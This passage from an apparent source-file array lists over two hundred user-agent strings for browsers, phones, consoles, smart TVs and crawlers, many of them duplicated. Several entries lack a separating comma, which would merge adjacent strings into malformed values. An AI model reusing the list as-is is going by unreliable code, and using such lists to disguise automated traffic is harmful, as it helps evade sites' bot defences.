  3897. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  3898. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  3899. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  3900. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  3901. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  3902. "wii libnup/1.0",
  3903. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  3904. "PSP (PlayStation Portable); 2.00",
  3905. "Gigabot/3.0 (http://www.gigablast.com/spider.html)",
  3906. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  3907. "LG-BDP Linux/2.6.35 UPnP/1.0 DLNADOC/1.50 LGE_DLNA_SDK/1.5.0",
  3908. "Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV) AppleWebKit/531.2+ (KHTML, like Gecko) WebBrowser/1.0 SmartTV Safari/531.2+",
  3909. "Mozilla/5.0 (SMART-TV; X11; Linux i686) AppleWebKit/535.20+ (KHTML, like Gecko) Version/5.0 Safari/535.20+",
  3910. "Doris/1.15 [en] (Symbian)",
  3911. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  3912. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  3913. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  3914. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  3915. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  3916. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  3917. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  3918. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  3919. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  3920. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  3921. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  3922. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  3923. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  3924. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  3925. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  3926. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  3927. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  3928. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  3929. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  3930. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  3931. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  3932. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  3933. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  3934. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  3935. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  3936. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  3937. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  3938. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  3939. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  3940. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  3941. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  3942. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  3943. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  3944. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  3945. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  3946. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  3947. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  3948. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  3949. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  3950. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  3951. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  3952. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  3953. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  3954. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  3955. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  3956. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  3957. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  3958. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  3959. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  3960. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  3961. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  3962. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  3963. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  3964. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  3965. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  3966. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  3967. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  3968. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  3969. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  3970. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  3971. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  3972. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  3973. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  3974. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  3975. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  3976. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  3977. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  3978. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  3979. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3980. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  3981. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3982. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  3983. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  3984. "Opera/6.04 (Windows XP; U) [en]",
  3985. "Opera/9.99 (X11; U; sk)",
  3986. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  3987. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  3988. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  3989. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  3990. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  3991. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  3992. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  3993. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  3994. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  3995. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  3996. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  3997. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  3998. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  3999. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  4000. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  4001. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  4002. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  4003. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  4004. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  4005. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  4006. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  4007. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  4008. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  4009. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4010. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4011. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4012. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4013. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4014. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4015. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4016. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4017. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  4018. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4019. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4020. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4021. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4022. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4023. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4024. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4025. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4026. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4027. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4028. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4029. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  4030. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4031. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4032. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4033. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4034. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4035. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  4036. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4037. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  4038. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  4039. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  4040. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4041. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  4042. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  4043. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  4044. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4045. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  4046. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  4047. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  4048. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  4049. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  4050. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  4051. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  4052. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  4053. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  4054. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  4055. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4056. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4057. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4058. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  4059. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4060. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  4061. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  4062. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  4063. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  4064. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4065. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  4066. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  4067. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4068. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4069. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4070. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4071. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  4072. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4073. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  4074. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  4075. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  4076. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4077. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  4078. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  4079. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  4080. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4081. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  4082. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  4083. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  4084. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  4085. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  4086. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  4087. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  4088. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  4089. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  4090. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  4091. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4092. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4093. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4094. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  4095. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4096. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  4097. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  4098. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  4099. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  4100. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4101. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  4102. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  4103. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4104. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  4105. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  4106. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  4107. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  4108. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  4109. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  4110. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  4111. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  4112. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  4113. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  4114. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  4115. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  4116. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  4117. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  4118. "Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36",
  4119. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  4120. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  4121. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  4122. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  4123. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
